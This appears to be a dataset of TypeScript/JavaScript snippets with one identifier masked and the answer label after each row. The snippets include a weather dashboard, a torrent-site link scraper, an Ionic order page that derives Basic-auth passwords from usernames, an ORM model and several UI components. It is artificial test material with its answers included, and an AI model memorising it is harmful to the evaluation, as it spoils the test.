        {/* Comparative Charts */}
        {selectedCountries.length > 1 && (
          <motion.div 
            className=""mt-12 space-y-8""
            initial={{ opacity: 0, y: 20 }}
            animate={{ opacity: 1, y: 0 }}
            transition={{ delay: 0.3 }}
          >
            <div className=""text-center mb-8"">
              <h2 className=""text-3xl font-bold text-white mb-2"">
                📊 Comparative Analysis
              </h2>
              <p className=""text-gray-300"">
                Compare weather conditions across {selectedCountries.length} locations
              </p>
            </div>
            
            <div className=""grid grid-cols-1 lg:grid-cols-2 gap-8"">
              <ComprehensiveWeatherChart
                type=""temperature""
                data={weatherData}
                countries={selectedCountries}
                chartType={preferences.chartType}
              />
              <ComprehensiveWeatherChart
                type=""humidity""
                data={weatherData}
                countries={selectedCountries}
                chartType={preferences.chartType}
              />
              <ComprehensiveWeatherChart
                type=""pressure""
                data={weatherData}
                countries={selectedCountries}
                chartType={preferences.chartType}
              />
              <ComprehensiveWeatherChart
                type=""windSpeed""
                data={weatherData}
                countries={selectedCountries}
                chartType={preferences.chartType}
              />
            </div>

            {/* Hourly Forecast Chart */}
            {preferences.showHourly && (
              <div className=""mt-8"">
                <ComprehensiveWeatherChart
                  type=""temperature""
                  data={weatherData}
                  countries={selectedCountries}
                  chartType=""line""
                  timeRange=""hourly""
                />
              </div>
            )}

            {/* Global Statistics */}
            <div className=""bg-white/10 backdrop-blur-lg rounded-2xl p-6 border border-white/20"">
              <h3 className=""text-xl font-semibold text-white mb-6"">Global Weather Summary</h3>
              <div className=""grid grid-cols-2 md:grid-cols-4 gap-6"">
                {(() => {
                  const temps = selectedCountries
                    .map(c => weatherData[c.city]?.current.temperature)
                    .filter(Boolean) as number[];
                  const humidities = selectedCountries
                    .map(c => weatherData[c.city]?.current.humidity)
                    .filter(Boolean) as number[];
                  const pressures = selectedCountries
                    .map(c => weatherData[c.city]?.current.pressure)
                    .filter(Boolean) as number[];
                  const winds = selectedCountries
                    .map(c => weatherData[c.city]?.current.windSpeed)
                    .filter(Boolean) as number[];

                  return [
                    {
                      label: 'Average Temperature',
                      value: formatTemperature(temps.reduce((a, b) => a + b, 0) / temps.length, preferences.temperatureUnit),
                      icon: Thermometer,
                      color: 'text-red-400'
                    },
                    {
                      label: 'Average Humidity',
                      value: `${Math.round(humidities.reduce((a, b) => a + b, 0) / humidities.length)}%`,
                      icon: Droplets,
                      color: 'text-blue-400'
                    },
                    {
                      label: 'Average Pressure',
                      value: `${Math.round(pressures.reduce((a, b) => a + b, 0) / pressures.length)} hPa`,
                      icon: Gauge,
                      color: 'text-green-400'
                    },
                    {
                      label: 'Average Wind Speed',
                      value: `${Math.round(winds.reduce((a, b) => a + b, 0) / winds.length)} km/h`,
                      icon: Wind,
                      color: 'text-purple-400'
                    }
                  ].map(({ label, value, icon: Icon, color }) => (
                    <div key={label} className=""text-center"">
                      <Icon className={`w-8 h-8 ${color} mx-auto mb-2`} />
                      <div className=""text-2xl font-bold text-white mb-1"">{value}</div>
                      <div className=""text-sm text-gray-300"">{label}</div>
                    </div>
                  ));
                })()}
              </div>
            </div>
          </motion.div>
        )}
      </main>

      {/* Settings Panel */}
      <SettingsPanel
        preferences={preferences}
        onPreferencesChange={setPreferences}
        isOpen={showSettings}
        onClose={() => setShowSettings(false)}
      />
    </div>
  );
};

export default AdvancedWeatherDashboard;",values
640,"import Entry from ""../types/FilmEntry"";
import { fetchHTML } from ""../scraper"";
import torrentNameParser from ""parse-torrent-title"";

class GKTorrentEntry extends Entry {
	static base_url = ""https://vww.gktorrent.pw"";

	constructor() {
		super();
		this.source_name = ""GKTorrent"";
	}

	static async fromCheerioElement($: cheerio.Root, element: cheerio.Element): Promise<GKTorrentEntry> {
		let newEntry = new GKTorrentEntry();

		const link = $(element).find(""a"");

		newEntry.file_name = $(link).text();
		newEntry.download_link = await newEntry.getDownloadLinkFromDownloadPage($(link).attr(""href"") as string);
		newEntry.seed = parseInt($(element).find(""td:nth-child(3)"").text());
		newEntry.leech = parseInt($(element).find(""td:nth-child(4)"").text());
		newEntry.size = $(element).find(""td:nth-child(2)"").text();

		const  [MASK]  = torrentNameParser.parse(newEntry.file_name);
		newEntry.quality =  [MASK] .source;
		newEntry.resolution =  [MASK] .resolution;
		newEntry.torrent_name =  [MASK] .title;
		newEntry.language =  [MASK] .language;

		return newEntry;
	}

	async getDownloadLinkFromDownloadPage(download_page: string): Promise<string> {
		const $ = await fetchHTML(new URL(download_page, GKTorrentEntry.base_url).href);

		return new Promise<string>((resolve, reject) => {
			$(""script"").each((index: number, element: cheerio.Element) => {
				const text = $(element).html();
				if (text != null && text.includes(""redirect()"")) {
					const matches = $(element)
						.html()
						?.match(/\/\btelecharger[a-zA-Z0-9\/]*'/);
					if (matches != null)
						resolve(new URL(matches[0].substring(0, matches[0].length - 1), GKTorrentEntry.base_url).href);
				}
			});
			reject(""[-] No link found in download page"");
		});
	}

	static async fetchRecentMovies(limit = 100): Promise<GKTorrentEntry[]> {
		let c = 0;
		let page = 1;
		let entries = [] as GKTorrentEntry[];

		while (c < limit) {
			console.log(
				""[GKTorrent] Loading page : "" + new URL(""/torrents/films/"" + page, GKTorrentEntry.base_url).href
			);
			const $ = await fetchHTML(new URL(""/torrents/films/"" + page, GKTorrentEntry.base_url).href);
			// getting the lines
			let lines = [] as cheerio.Element[];
			$("".table > tbody:nth-child(1) > tr"").each((index: number, element: cheerio.Element) =>
				lines.push(element)
			);

			// fetching the data
			await Promise.all(
				lines.map(async (element) => {
					const entry = await this.fromCheerioElement($, element);
					if (entry.seed > 0 && entry.leech > 0) {
						entries.push(entry);
						c++;
					}
				})
			);

			page += 50;
		}

		console.log(`[GKTorrent] \u{1F3A5} Loaded ${entries.slice(0, limit).length} movies !`);
		return entries.slice(0, limit);
	}
}

export default GKTorrentEntry;
",name_infos
641,"/*
Licensed under the Apache License, Version 2.0 (the ""License"");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an ""AS IS"" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
import { Component, ElementRef, OnInit, ViewChild, HostListener } from '@angular/core';
import { Http } from '@angular/http';
import { NavController, NavParams } from 'ionic-angular';
import { ConfigProvider, IConfig } from '../../providers/config/config';
import { StatusPage } from '../status/status';

interface IOption {
  description?: string,
  name: string,
  price?: number
}

/**
 * Generated class for the BuilderPage page.
 *
 * See http://ionicframework.com/docs/components/#navigation for more info
 * on Ionic pages and navigation.
 */
@Component({
  selector: 'page-builder',
  templateUrl: 'builder.html'
})
export class BuilderPage {
  car: any;
  states: any;
  selected: string;

  private options: {[s: string]: IOption[]} = {
    trim: [{
      description: 'A simple but elegant finishing trim for your Arium.',
      name: 'standard',
      price: 0
    }, {
      description: 'Sleek and aerodynamic tweaks to stand above the crowd.',
      name: 'executive',
      price: 450
    }],
    colour: [{
      name: 'sunburst orange'
    }, {
      name: 'inferno red'
    }, {
      name: 'royal purple'
    }, {
      name: 'alpine green'
    }, {
      name: 'statement blue'
    }, {
      name: 'vibrant grape'
    }],
    interior: [{
      name: 'red rum'
    }, {
      name: 'papyrus'
    }, {
      name: 'rotor grey'
    }, {
      name: 'noble brown'
    }],
    extras: [{
      description: 'Total piece of mind for the perfect Arium motoring experience.',
      name: 'extended warranty',
      price: 150
    }, {
      description: 'Stylish privacy and protection from the sun\'s rays.',
      name: 'tinted windows',
      price: 450
    }]
  };
  
  private config: IConfig;
  private ready = false;

  @ViewChild('trim', {read: ElementRef}) trim: ElementRef;


  constructor(private navController: NavController, private navParams: NavParams, private http: Http, private configProvider: ConfigProvider) {
    this.car = navParams.get('car');
    this.states = {};

    this.configProvider.ready.subscribe((ready) => {
      if (ready) {
        this.ready = true;
        this.config = this.configProvider.getConfig();
      }
    });
  }

  open(option) {
    if (this.selected === option) {
      this.selected = null;
    } else {
      this.selected = option;
    }
  }

  select(option, state) {
    if (option === 'extras') {
      if (!this.states.extras) {
        this.states.extras = [state];
      } else if (this.states.extras.indexOf(state) > -1) {
        var index = this.states.extras.indexOf(state);
        this.states.extras.splice(index, 1);
      } else {
        this.states.extras.push(state);
      }
    } else {
      if (this.states[option] === state) {
        delete this.states[option];
      } else {
        this.states[option] = state;
      }
    }
  }

  generateID() {
    function s4() {
      return Math.floor((1 + Math.random()) * 0x10000)
        .toString(16)
        .substring(1);
    }
    return s4() + s4() + '-' + s4() + '-' + s4() + '-' +
        s4() + '-' + s4() + s4() + s4();
  }

  purchase() {
    var vehicleDetails = {
      makeId: 'Arium',
      modelType: this.car.name,
      colour: this.states.colour
    };

     var options = Object.assign({
       trim: 'standard',
       interior: 'red rum',
       extras: []
     }, this.states);
     delete options.colour;

    var order = {
      vehicleDetails: vehicleDetails,
      options: options,
      ordererId: this.config.user + '@VDA', // PAUL HAS LOGGED INTO THE APP USING HIS VDA ""GOVERNMENT"" ID, PRETEND THE APP HAS GOT THIS FROM THE LOGIN AND NOT HARDCODED
    };

    var full_car = {};
    Object.keys(this.car).forEach((key) => full_car[key] = this.car[key]);
    Object.keys(this.states).forEach((key) => full_car[key] = this.states[key]);

    let parent = this;

    var data = JSON.stringify(order);

    // TODO: Migrate to use core/http
    var  [MASK]  = new XMLHttpRequest();
     [MASK] .withCredentials = true;
     [MASK] .addEventListener(""readystatechange"", function () {
      if (this.readyState === 4 && this.status === 200) {
        parent.navController.push(StatusPage, {
          car: full_car,
          order: JSON.parse(this.response)
        });

      } else if (this.readyState === 4) {
        document.getElementById('purchase').getElementsByTagName('span')[0].innerHTML = 'An error occurred';
        console.log('RESPONSE TEXT', this.responseText);
      }
    });
     [MASK] .open(""POST"", `${this.config['restServer']}/orders`);
     [MASK] .setRequestHeader(""Content-Type"", ""application/json"");
     [MASK] .setRequestHeader(""Authorization"", 'Basic ' + btoa(this.config.user + ':' + this.config.user + 'pw'));
     [MASK] .send(data);
    document.getElementById('purchase').getElementsByTagName('span')[0].innerHTML = 'Sending request...';
  }

  containsExtra(state) {
    if (this.states.extras) {
      return this.states.extras.indexOf(state) > -1;
    } else {
      return false;
    }
  }

  countExtras(num) {
    return this.states.extras && this.states.extras.length === num;
  }

  getExtras() {
    if (!this.states.extras || this.states.extras.length === 0) {
      return '';
    } else if (this.states.extras.length === 1) {
      return this.states.extras[0];
    } else {
      return '2 selected';
    }
  }

  @HostListener('click', ['$event.target'])
  randomBuild(event) {
    if (event.id === 'app-title') {
      Object.keys(this.options).forEach((key) => {
        const option = this.options[key];
        if (key !== 'extras') {
          this.states[key] = option[Math.floor(Math.random() * option.length)].name;
        }
      });
    }
  }
}
",xhr
642,"import {default as maybeAsync, MaybePromise} from 'maybe-async';

import {ScopeInfo, ScopeExpr, parse} from './scopes';

import {
	Store, ObjectId, QueryOptions, UpdateResult, DeleteResult
} from './store';

export {ParseError} from './scopes';

export class Model {
	private _attributes: Set<string> = new Set;
	private _fields: Map<string, FieldDescriptor> = new Map;
	private _relations: Map<string, RelationDescriptor> = new Map;
	private _prototype: object = Object.create(ModelInstance.prototype);

	private queryParams: Map<string, QueryParamHandler[]> = new Map;

	constructor(private store: Store | null, private parent?: Model) {
	}

	get prototype() {
		return this._prototype;
	}

	*fields(): Iterable<string> {
		yield* this._fields.keys();
	}

	*attributes(): Iterable<string> {
		yield* this._attributes;
	}

	*relations(): Iterable<string> {
		yield* Object.keys(this._relations);
	}

	createInstance(): ModelInstance {
		return new ModelInstance(this);
	}

	wrap(data: object): ModelInstance {
		return ModelInstance.wrap(this, data);
	}

	addField(name: string, field: FieldDescriptor): void {
		if (!this._fields.has(name)) {
			this._fields.set(name, field);
			const property = fieldProperty(name, field);
			Object.defineProperty(this.prototype, name, property);
		}
	}

	addQueryParam(name: string, handler: QueryParamHandler): void {
		const handlers = this.queryParams.get(name);
		if (handlers === undefined)
			this.queryParams.set(name, [handler]);
		else
			handlers.push(handler);
	}

	addAttribute(name: string, descriptor: FieldDescriptor): void {
		this.addField(name, descriptor);
		this._attributes.add(name);
	}

	addRelation(name: string, relation: RelationDescriptor): void {
		if (!this._relations.has(name)) {
			this._relations.set(name, relation);
			this.addField(name, relationField(name));
		}
	}

	translateQuery(filter: object): object {
		const query: any = {};
		for (const name of Object.keys(filter)) {
			const handlers = this.queryParams.get(name);
			if (handlers !== undefined) {
				for (const translate of handlers)
					translate(filter, query);
			}
		}
		return query;
	}

	getInstanceField(instance: ModelInstance, data: object, name: string): MaybePromise<any> {
		const field = this._fields.get(name);
		if (field !== undefined && field.get !== undefined)
			return field.get.call(instance, data);
		return undefined;
	}

	setInstanceField(instance: ModelInstance, data: object, name: string, value: any): MaybePromise<void> {
		const field = this._fields.get(name);
		if (field !== undefined && field.set !== undefined)
			return field.set.call(instance, data, value);
	}

	boundRelation(instance: ModelInstance, data: object, name: string): Relation | undefined {
		const bindRelation = this._relations.get(name);
		if (bindRelation !== undefined)
			return bindRelation(instance, data);
		return undefined;
	}

	validateInstanceField(instance: ModelInstance, data: object, name: string, value: any): MaybePromise<ValidationResult> {
		const that = this;
		return maybeAsync(function*() {
			const field: FieldDescriptor = yield that._fields.get(name);
			if (field !== undefined && field.validators !== undefined) {
				type VR = ValidationResult;
				const results = field.validators.map((v: FieldValidator): MaybePromise<VR> => {
					return v.call(instance, data, value);
				});
				return new ValidationResult(yield results);
			}
			return new ValidationResult;
		});
	}

	select(fields: string[]): Model {
		const  [MASK]  = new Model(this.store, this);

		for (const name of fields) {
			const fieldDescriptor = this._fields.get(name);
			if (fieldDescriptor === undefined)
				continue;

			if (this._relations.has(name)) {
				const rd = this._relations.get(name);
				const relDescriptor = rd as RelationDescriptor;
				 [MASK] .addRelation(name, relDescriptor);
			} else if (this._attributes.has(name)) {
				 [MASK] .addAttribute(name, fieldDescriptor);
			} else {
				 [MASK] .addField(name, fieldDescriptor);
			}
		}

		return  [MASK] ;
	}

	view(expr: string): Model {
		const scopeExpr = parse(expr);
		const info = scopeInfo(this._fields);
		const selected = scopeExpr(info, [...this.fields()]);
		return this.select(selected);
	}
}

export class ModelInstance {
	private _data: any = {};

	static wrap(model: Model, data: object): ModelInstance {
		const instance = new ModelInstance(model);
		instance._data = data;
		return instance;
	}

	constructor(private model: Model) {
		Object.setPrototypeOf(this, model.prototype);
	}

	get(name: string): MaybePromise<any> {
		return this.model.getInstanceField(this, this._data, name);
	}

	set(name: string, value: any): MaybePromise<void> {
		const that = this;
		return maybeAsync(function*() {
			const validationResult = yield that.validate(name, value);
			if (validationResult.hasErrors())
				throw new ValidationError(validationResult);
			return that.model.setInstanceField(that, that._data, name, value);
		});
	}

	getRelation(name: string): Relation | undefined {
		return this.model.boundRelation(this, this._data, name);
	}

	assign(data: object): MaybePromise<void> {
		const that = this;
		return maybeAsync(function*() {
			const entries = Object.entries(data).filter(([_, v]) => v !== undefined);
			return yield entries.map(([name, value]) => that.set(name, value));
		});
	}

	data(): MaybePromise<object> {
		const that = this;
		return maybeAsync(function*() {
			const data: any = {};
			const names = [...that.model.fields()];
			const values = yield names.map(name => that.get(name));
			for (let i = 0; i < values.length; ++i) {
				let value = values[i];
				if (value !== undefined) {
					const name = names[i];
					if (value.toJson !== undefined)
						value = value.toJson();
					data[name] = value;
				}
			}
			return data;
		});
	}

	enableValidation(): void {
		delete this.validate;
	}

	disableValidation(): void {
		this.validate = () => new ValidationResult;
	}

	validate(): MaybePromise<ValidationResult>;
	validate(data: object): MaybePromise<ValidationResult>;
	validate(name: string, value?: any): MaybePromise<ValidationResult>;
	validate(nameOrData?: object | string, value?: any): MaybePromise<ValidationResult> {
		const that = this;
		return maybeAsync(function*() {
			if (nameOrData === undefined) {
				return that.validate(yield this.data());
			} else if (typeof nameOrData !== 'string') {
				const data = nameOrData as any;
				const entries = Object.entries(data).filter(([_, v]) => v !== undefined);
				const results = entries.map(([name, value]) => that.validate(name, value));
				return new ValidationResult(yield results);
			} else {
				const name = nameOrData as string;
				if (value === undefined) value = yield that.get(name);
				return that.model.validateInstanceField(that, that._data, name, value);
			}
		});
	}
}

export interface QueryParamHandler {
	(query: object, output: object): void;
}

export interface FieldDescriptor {
	get?: FieldGetter;
	set?: FieldSetter;
	scopes?: string[];
	validators?: FieldValidator[];
}

export interface FieldGetter {
	(data: object): MaybePromise<any>;
}

export interface FieldSetter {
	(data: object, value: any): MaybePromise<void>;
}

export interface FieldValidator {
	(data: object, value: any): MaybePromise<ValidationResult>;
}

export interface RelationDescriptor {
	(that: ModelInstance, data: object): Relation;
}

export type ObjectRef = {
	type: string, id: ObjectId,
}

export type MultiRef  = ObjectRef[];
export type SingleRef = null | ObjectRef;

export type Relation = RelOne | RelMany;

export interface RelOne {
	ref(): MaybePromise<SingleRef>;

	get(): Promise<ModelInstance | null>;

	clear(): MaybePromise<void>;
	set(related: ModelInstance | null): MaybePromise<void>;
}

export interface RelMany {
	ref(): MaybePromise<MultiRef>;

	get(): Promise<ModelInstance[]>;

	clear(): MaybePromise<void>;
	set(related: ModelInstance[]): MaybePromise<void>;

	add(related: ModelInstance): MaybePromise<void>;
	remove(related: ModelInstance): MaybePromise<void>;
}

export class ValidationError extends Error {
	constructor(public result: ValidationResult) {
		super('Validation failed');
	}
}

export class ValidationResult {
	private _errors: Map<string, string[]> = new Map;

	constructor(results?: Iterable<ValidationResult>) {
		if (results !== undefined) {
			for (const res of results)
				this.merge(res);
		}
	}

	errors(): Iterable<[string, string]>;
	errors(field: string): Iterable<string>;
	*errors(field?: string): Iterable<string | [string, string]> {
		if (field === undefined) {
			for (const [field, errors] of this._errors) {
				for (const err of errors)
					yield [field, err];
			}
		} else {
			const errors = this._errors.get(field);
			if (errors !== undefined)
				yield* errors;
		}
	}

	hasErrors(field?: string): boolean {
		return field !== undefined
			? this._errors.has(field)
			: this._errors.size > 0;
	}

	addError(field: string, error: string): void {
		const errorBag = this._errors.get(field);
		if (errorBag === undefined)
			this._errors.set(field, [error]);
		else
			errorBag.push(error);
	}

	merge(result: ValidationResult): void {
		for (const [field, errors] of result._errors.entries()) {
			const errorBag = this._errors.get(field);
			if (errorBag === undefined)
				this._errors.set(field, [...errors]);
			else
				errorBag.push(...errors);
		}
	}
}

function fieldProperty(name: string, descriptor: FieldDescriptor): object {
	const result = {} as any;

	if (descriptor.get !== undefined) {
		result.get = function(): MaybePromise<any> {
			return this.get(name);
		};
	}

	if (descriptor.set !== undefined) {
		result.set = function(value: any): void {
			this.set(name, value);
		};
	}

	return result;
}

function relationField(name: string): FieldDescriptor {
	return {
		get(_: object): Relation {
			return this.getRelation(name);
		},

		set(_: object, value: any): MaybePromise<void> {
			const relation = this.getRelation(name);
			if (relation !== undefined)
				return relation.set(value);
		},
	};
}

function scopeInfo(fields: Map<string, FieldDescriptor>): ScopeInfo {
	const scopeInfo: any = {};
	fields.forEach((descriptor: FieldDescriptor, name: string) => {
		scopeInfo[name] = descriptor.scopes || [];
	});
	return scopeInfo;
}
",modelView
643,"import { app } from 'electron'
import { database } from './helpers/database.ts'
import { MainWindow } from './main-window.ts'
import { SystemChannelsBinder } from './ipc/system-binder.ts'
import { UploadChannelsBinder } from './ipc/upload-binder.ts'
import { setupTray } from './tray.ts'
import { appDataDirectory } from './helpers/file-system.ts'
import fs from 'fs'

export class Application {
	private mainWindow: MainWindow

	constructor() {
		this.mainWindow = new MainWindow()
	}

	public onAppReady() {
		this.setupAppDataDirectory()
		app.setAppUserModelId('io.mikupush.client')

		this.mainWindow.initialize()
		this.setupIPCChannels()
		database.sync()

		setupTray(this.mainWindow)
	}

	public onAppQuit() {
		database.close()
	}

	private setupAppDataDirectory() {
		const  [MASK]  = appDataDirectory()

		if (!fs.existsSync( [MASK] )) {
			fs.mkdirSync( [MASK] , { recursive: true })
		}
	}

	private setupIPCChannels() {
		SystemChannelsBinder.bind()
		UploadChannelsBinder.bind(this.mainWindow)
	}

	public static run() {
		app.whenReady().then(() => {
			const application = new Application()
			application.onAppReady()
			this.setupEventListeners(application)
		})
	}

	private static setupEventListeners(application: Application) {
		app.on('quit', () => application.onAppQuit())
	}
}
",directory
644,"import { Slots } from 'vue'
import {LeFormItem, ObjectOpts, SlotOption} from '@/components/FormConfig/formConfig.types.ts'
export const getOptions = (options: any[], form: LeFormItem) => options.map((option) => {
	let value = option
	let label = option
	let disabled = false
	if (typeof option === 'object') {
		value = option[form.valueKey || 'value']
		label = option[form.labelKey || 'label']
		if (form.i18n) label = t(label)
		disabled = option.disabled
	}
	return {
		label,
		value,
		disabled
	}
})

/**
 *  自定义 Option 渲染
 */
export const renderOption = function (
	// slots: Slots,
	slotOption: SlotOption<ObjectOpts>,
	option: ObjectOpts
) {
	if (slotOption) {
		let scopedSlots_option = slotOption
		// if (typeof slotOption === 'string') {
		// 	scopedSlots_option = slots[slotOption]
		// }
		if (typeof scopedSlots_option === 'function') {
			/*const args = [
				option
			]*/
			return scopedSlots_option(option)
		}
	}
	return option.label
}
// (级联/LeSelect)自定义渲染
export const optionSlot = <T>(slots: Slots, slotOption: SlotOption<T>) => {
	let scopedSlots_option = slotOption
	if (typeof slotOption === 'string') {
		scopedSlots_option = slots[slotOption]
	}
	if (typeof scopedSlots_option === 'function') {
		return scopedSlots_option
	}
}
// 获取formItem label
export const get_formSlotLabel = (slots: Slots,  [MASK] : SlotOption<{ label: string }>) => {
	if (! [MASK] ) return
	let scopedSlots_option =  [MASK] 
	if (typeof  [MASK]  === 'string') {
		scopedSlots_option = slots[ [MASK] ]
	}
	if (typeof scopedSlots_option === 'function') {
		return scopedSlots_option
	}
}
// 获取formItem label
export const get_formSlots = (vSlots: Slots, slotConfig: ObjectOpts) => {
	const slots_key = Object.keys(slotConfig || {})
	if (!slots_key.length) {
		return {}
	}
	const getSlot = slot => {
		switch (typeof slot) {
			case 'string':
				return vSlots[slot]
			case 'function':
				return slot
		}
	}
	return slots_key.reduce((obj, key) => {
		obj[key] = getSlot(slotConfig[key])
		return obj
	}, {})
}
",slotLabel
645,"/* eslint-disable @typescript-eslint/no-unused-vars */
import { Component, OnInit } from '@angular/core';
import {
  FormBuilder,
  FormControl,
  Validators,
  ReactiveFormsModule,
  FormsModule,
} from '@angular/forms';
import { ActivatedRoute, Router } from '@angular/router';
import { CaseManagementService } from '../shared/services/case-management/case-management.service';
import { LoginService } from '../shared/services/login.service';
import { HttpClient } from '@angular/common/http';
import { MatSnackBar } from '@angular/material/snack-bar';
import { MatInput } from '@angular/material/input';
import { MatFormField, MatError } from '@angular/material/form-field';
import { MatButton } from '@angular/material/button';
import { NgIf, NgClass } from '@angular/common';

@Component({
  selector: 'app-account',
  templateUrl: './account.component.html',
  styleUrls: ['./account.component.scss'],
  standalone: true,
  imports: [
    NgIf,
    MatButton,
    ReactiveFormsModule,
    FormsModule,
    MatFormField,
    MatInput,
    NgClass,
    MatError,
  ],
})
export class AccountComponent implements OnInit {
  isEditView = false;
  onEditProfile = false;
  acceptControl = new FormControl(false);

  accountForm = this.fb.group({
    notifyByEmail: [false],
    notifyByMail: [false],
    firstName: [''],
    lastName: [''],
    middleName: [''],
    emailAddress: ['', Validators.required],
    driverLicenseNumber: ['', Validators.maxLength(8)],
    addressLine1: [''],
    city: [''],
    province: [''],
    postal: [''],
    country: [''],
  });

  isCreateProfile = this.router.url.includes('create-profile');

  constructor(
    private fb: FormBuilder,
    private route: ActivatedRoute,
    private caseManagementService: CaseManagementService,
    private loginService: LoginService,
    private _http: HttpClient,
    public _snackBar: MatSnackBar,
    private router: Router
  ) {}

  ngOnInit() {
    if (this.loginService.userProfile?.id) {
      this.getuserDetails(this.loginService.userProfile?.id as string);
    }

    this.accountForm.disable();

    if (this.isCreateProfile) {
      this.onEditProfile = true;
      this.accountForm.controls.emailAddress.enable();
      this.accountForm.controls.driverLicenseNumber.enable();
      this.accountForm.controls.notifyByEmail.enable();
      this.accountForm.controls.notifyByMail.enable();
    } else {
      this.getDriverAddress();
    }
  }

  getuserDetails(driverId: string) {
    this.loginService.getUserProfile().subscribe((user) => {
      this.accountForm.patchValue(user);
    });
  }

  getDriverAddress() {
    this.caseManagementService.getDriverAddress({}).subscribe({
      next: ( [MASK] ) => {
        this.accountForm.patchValue( [MASK]  as any);
      },
      error: (err) => {
        if (err.status === 401) {
          this._snackBar.open(
            'Unable To Register. Please check that the address matches ICBC address',
            'Close',
            {
              horizontalPosition: 'center',
              verticalPosition: 'top',
              duration: 5000,
            }
          );
        }
      },
    });
  }
  onEdit() {
    this.accountForm.controls.emailAddress.enable();
    this.isEditView = true;
    this.onEditProfile = true;
  }

  isUpdatingProfile = false;
  onUpdate() {
    if (this.accountForm.invalid) {
      this.accountForm.markAllAsTouched();
      return;
    }
    if (this.isUpdatingProfile) {
      return;
    }

    this.isUpdatingProfile = true;
    this.caseManagementService
      .updateDriverProfile({
        body: {
          email: this.accountForm.value.emailAddress,
        },
      })
      .subscribe((res) => {
        this._snackBar.open('Successfully Updated Email Address', 'Close', {
          horizontalPosition: 'center',
          verticalPosition: 'top',
          duration: 5000,
        });
        this.isUpdatingProfile = false;
      });
  }

  onCancel() {
    this.accountForm.controls.emailAddress.disable();
    this.isEditView = false;
    this.onEditProfile = false;
  }

  onRegister() {
    if (this.accountForm.invalid) {
      this.accountForm.markAllAsTouched();
      return;
    }

    this.caseManagementService
      .userRegistration({
        body: {
          driverLicenseNumber: this.accountForm.value.driverLicenseNumber,
          email: this.accountForm.value.emailAddress,
          notifyByEmail: this.accountForm.value.notifyByEmail as boolean,
          notifyByMail: this.accountForm.value.notifyByMail as boolean,
        },
      })
      .subscribe({
        next: () => {
          this._snackBar.open('Registration successful', 'Close', {
            horizontalPosition: 'center',
            verticalPosition: 'top',
            duration: 5000,
          });
          this.router.navigate(['/dashboard']);
          location.reload();
        },
        error: (err) => {
          if (err.status === 401) {
            this._snackBar.open(
              'Unable To Register. Please Check that you have entered your Driver License Number correctly. The name and birthdate on your Driver Licence must match the details on your BC Services Card',
              'Close',
              {
                horizontalPosition: 'center',
                verticalPosition: 'top',
                duration: 5000,
              }
            );
          } else if (err.status === 500) {
            this._snackBar.open(
              'Unable To Register. Please check that the Driver Licence Number is correct. Note: Please append Zero if the driver licence number is less than 8 digits',
              'Close',
              {
                horizontalPosition: 'center',
                verticalPosition: 'top',
                duration: 10000,
              }
            );
          }
        },
      });
  }
}
",userAddress
646,"import { initializeApp, getApps, applicationDefault } from 'firebase-admin/app';
import { getFirestore, FieldValue } from 'firebase-admin/firestore';
import type { QuerySnapshot } from 'firebase-admin/firestore';
import type { Acknowledgment, Notice } from './types';

const projectId = process.env.PROJECT_ID;
const noticesCollection = process.env.NOTICES_COLLECTION || 'notices';
const acknowledgmentsCollection =
  process.env.ACKNOWLEDGMENTS_COLLECTION || 'acknowledgments';

if (getApps().length === 0) {
  if (!projectId) {
    throw new Error(
      'Missing PROJECT_ID environment variable. Please provide a .env file with the PROJECT_ID variable.',
    );
  }

  initializeApp({
    projectId,
    credential: applicationDefault(),
  });
}

const firestore = getFirestore();

// Converts a Firestore document to a plain object.
function documentToObject<T>(
  document: FirebaseFirestore.DocumentSnapshot<FirebaseFirestore.DocumentData>,
): T {
  return {
    ...document.data(),
    id: document.id,
  } as T;
}

// Converts a Firestore document to an array.
function snapshotToArray<T>(snapshot: QuerySnapshot): T[] {
  return snapshot.docs.map(doc => documentToObject<T>(doc));
}

// Returns a list of notices.
export async function getNotices(): Promise<Notice[]> {
  const snapshot = await firestore.collection(noticesCollection).get();
  return snapshotToArray(snapshot);
}

// Returns a notice, if it exists.
export async function getNotice(id: string): Promise<Notice | null> {
  const snapshot = await firestore.collection(noticesCollection).doc(id).get();

  if (snapshot.exists) {
    return documentToObject<Notice>(snapshot);
  }

  return null;
}

// Returns a list of acknowledgments.
export async function getAcknowledgments(
   [MASK] : string,
): Promise<Acknowledgment[]> {
  const snapshot = await firestore
    .collection(noticesCollection)
    .doc( [MASK] )
    .collection(acknowledgmentsCollection)
    .orderBy('createdAt', 'desc')
    .get();

  return snapshotToArray<Acknowledgment>(snapshot);
}

// Creates a new notice, and returns the new ID.
export async function createNotice(data: any): Promise<string> {
  const ref = await firestore.collection(noticesCollection).add({
    ...data,
    createdAt: FieldValue.serverTimestamp(),
  });
  return ref.id;
}

// Updates a notice, by merging data.
export async function updateNotice(id: string, data: any): Promise<void> {
  await firestore
    .collection(noticesCollection)
    .doc(id)
    .set(
      {
        ...data,
      },
      { merge: true },
    );
}
",noticeId
647,"import { Service, PlatformAccessory, CharacteristicValue } from 'homebridge';

import { ExampleHomebridgePlatform } from './platform';

import path from 'path'

const { spawn } = require('child_process');

const sleep = async (time: number) => new Promise((resolve) => {
  setTimeout(() => resolve(true), time)
})

type HSL = [number, number, number];

// function calculateDistance(hsl1: HSL, hsl2: HSL): number {
//   let hDif = Math.min(Math.abs(hsl1[0] - hsl2[0]), 360 - Math.abs(hsl1[0] - hsl2[0]));
//   let sDif = hsl1[1] - hsl2[1];
//   let lDif = hsl1[2] - hsl2[2];

//   // Scale the hue difference by the average saturation of the two colors
//   let saturationScale = (hsl1[1] + hsl2[1]) / 2 / 100;
//   hDif *= saturationScale;

//   // Scale the hue difference by the average lightness of the two colors
//   let lightnessScale = (hsl1[2] + hsl2[2]) / 2 / 100;
//   hDif *= lightnessScale;

//   return Math.sqrt(hDif * hDif + sDif * sDif + lDif * lDif);
// }

// function calculateDistance(hsl1: HSL, hsl2: HSL): number {
//     let hDif = Math.min(Math.abs(hsl1[0] - hsl2[0]), 360 - Math.abs(hsl1[0] - hsl2[0]));
//     let sDif = hsl1[1] - hsl2[1];
//     let lDif = hsl1[2] - hsl2[2];

//     // Scale the hue difference by the average saturation and lightness of the two colors
//     let saturationScale = (hsl1[1] + hsl2[1]) / 2 / 100;
